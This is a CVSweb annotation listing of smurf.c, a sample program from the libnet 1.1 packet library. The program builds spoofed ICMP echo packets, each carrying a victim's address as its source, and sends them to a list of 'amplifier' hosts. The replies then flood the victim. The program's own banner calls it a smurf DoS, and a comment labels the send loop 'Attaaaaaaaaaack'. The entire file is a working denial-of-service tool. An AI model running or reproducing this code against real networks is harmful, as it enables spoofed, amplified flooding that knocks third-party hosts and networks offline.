Annotation of embedaddon/libnet/sample/smurf.c, revision 1.1.1.2

1.1       misho       1: /*
                      2:  *  $Id: smurf.c,v 1.2 2004/01/03 20:31:01 mike Exp $
                      3:  *
                      4:  *  libnet 1.1
                      5:  *  Build Smurf packets
                      6:  *
                      7:  *  Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
                      8:  *  All rights reserved.
                      9:  *
                     10:  * Redistribution and use in source and binary forms, with or without
                     11:  * modification, are permitted provided that the following conditions
                     12:  * are met:
                     13:  * 1. Redistributions of source code must retain the above copyright
                     14:  *    notice, this list of conditions and the following disclaimer.
                     15:  * 2. Redistributions in binary form must reproduce the above copyright
                     16:  *    notice, this list of conditions and the following disclaimer in the
                     17:  *    documentation and/or other materials provided with the distribution.
                     18:  *
                     19:  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
                     20:  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
                     21:  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
                     22:  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
                     23:  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
                     24:  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
                     25:  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
                     26:  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
                     27:  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
                     28:  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
                     29:  * SUCH DAMAGE.
                     30:  *
                     31:  */
                     32: 
                     33: #if (HAVE_CONFIG_H)
                     34: #include "../include/config.h"
                     35: #endif
                     36: #include "./libnet_test.h"
                     37: 
                     38: void usage(char *);
                     39: 
                     40: 
                     41: int
                     42: main(int argc, char **argv)
                     43: {
                     44:   libnet_t *l = NULL;
                     45:   u_long target_ip = 0, ampli_ip = 0;
                     46:   u_long count = 10;
                     47:   int i, c;
                     48:   libnet_ptag_t t;
                     49:   
                     50:   char *device = NULL;
                     51:   char *pTarget = NULL;
                     52:   char errbuf[LIBNET_ERRBUF_SIZE];
                     53:   char label[LIBNET_LABEL_SIZE];
                     54: 
                     55:     printf("libnet 1.1 smurf DoS: ICMP[RAW using context queue]\n");
                     56: 
                     57:   while((c = getopt(argc, argv, "t:i:c:")) != EOF)
                     58:   {
                     59:     switch (c)
                     60:     {
                     61:       case 't':
                     62:        pTarget = optarg;
                     63:        break;
                     64:       case 'i':
                     65:        device = optarg;
                     66:        break;
                     67:       case 'c':
                     68:        count = strtoul(optarg, 0, 10);
                     69:        break;
                     70:     }
                     71:   }
                     72: 
                     73:   if (optind == argc) {
                     74:     fprintf(stderr, "No amplifier given.\n");
                     75:     usage(argv[0]);
                     76:     exit (EXIT_FAILURE);
                     77:   }
                     78:   
                     79:   if (!pTarget) {
                     80:     fprintf(stdout, "No target given.\n");
                     81:     usage(argv[0]);
                     82:     exit (EXIT_FAILURE);
                     83:   }
                     84: 
                     85:   if ((target_ip = libnet_name2addr4(l, pTarget, LIBNET_RESOLVE)) == -1)
                     86:   {
                     87:     fprintf(stderr, "Bad target IP address: %s\n", pTarget);
                     88:     exit(EXIT_FAILURE);
                     89:   }
                     90: 
                     91:   /* Create a context for each amplifier */
                     92:   for (i = 0; optind < argc; optind++) {
                     93: 
                     94:     printf ("Adding amplifier %s\n", argv[optind]);
                     95:   
                     96:     l = libnet_init(
                     97:              LIBNET_RAW4,                  /* injection type */
                     98:              device,                       /* network interface */
                     99:              errbuf);                      /* errbuf */
                    100: 
                    101:     if (l == NULL)
                    102:     {
                    103:       fprintf(stderr, "libnet_init() failed: %s", errbuf);
                    104:       exit(EXIT_FAILURE);
                    105:     }
                    106: 
                    107:     if ((ampli_ip = libnet_name2addr4(l, argv[optind], LIBNET_RESOLVE)) == -1)
                    108:     {
                    109:       fprintf(stderr, "Bad destination IP address: %s\n", argv[optind]);
                    110:       exit(1);
                    111:     }
                    112:     
                    113:     /* build the packet */
                    114:     t = libnet_build_icmpv4_echo(
                    115:           ICMP_ECHO,                            /* type */
                    116:          0,                                    /* code */
                    117:          0,                                    /* checksum */
                    118:          0x42,                                 /* id */
                    119:          0x42,                                 /* sequence number */
                    120:          NULL,                                 /* payload */
                    121:          0,                                    /* payload size */
                    122:          l,                                    /* libnet handle */
                    123:          0);
                    124:     if (t == -1)
                    125:     {
                    126:       fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
                    127:       goto bad;
                    128:     }
                    129: 
                    130:     t = libnet_build_ipv4(
                    131:           LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H,   /* length */
                    132:           0,                                    /* TOS */
                    133:           0x42,                                 /* IP ID */
                    134:           0,                                    /* IP Frag */
                    135:           64,                                   /* TTL */
                    136:           IPPROTO_ICMP,                         /* protocol */
                    137:           0,                                    /* checksum */
                    138:           target_ip,                            /* source IP */
                    139:           ampli_ip,                             /* destination IP */
                    140:           NULL,                                 /* payload */
                    141:           0,                                    /* payload size */
                    142:           l,                                    /* libnet handle */
                    143:           0);
                    144:     if (t == -1)
                    145:     {
                    146:         fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
                    147:         goto bad;
                    148:     }
                    149: 
                    150:     /* and finally, put it in the arena */
                    151:     snprintf(label, sizeof(label)-1, "echo%d", i);
                    152:     if (libnet_cq_add(l, label) == -1)
                    153:     {
                    154:       fprintf(stderr, "add error: %s\n", libnet_geterror(l));
                    155:       goto bad;
                    156:     }
                    157:   } /* for (optind < argc) */
                    158: 
                    159: 
                    160:   /* Attaaaaaaaaaack */
                    161:     for_each_context_in_cq(l) {
                    162:     /*
                    163:      *  Write it to the wire.
                    164:      */
                    165:     for (i = 0; i<count; i++) {
                    166:       c = libnet_write(l);
                    167:       if (c == -1)
                    168:       {
                    169:        fprintf(stderr, "Write error (pkt #%d): %s\n", i, libnet_geterror(l));
                    170:        goto bad;
                    171:       }
                    172:       else
                    173:       {
                    174:        fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
                    175:       }
                    176:     }
                    177:   }
                    178: 
                    179: 
                    180:   libnet_cq_destroy();
                    181:   return (EXIT_SUCCESS);
                    182: bad:
                    183:   libnet_cq_destroy();
                    184:   libnet_destroy(l);
                    185:   return (EXIT_FAILURE);
                    186: }
                    187: 
                    188: void
                    189: usage(char *name)
                    190: {
                    191:   fprintf(stderr, "usage: %s -t targe_ip [-i iface] [-c count=10] amplifiers\n ", name);
                    192: }
                    193: 

FreeBSD-CVSweb <freebsd-cvsweb@FreeBSD.org>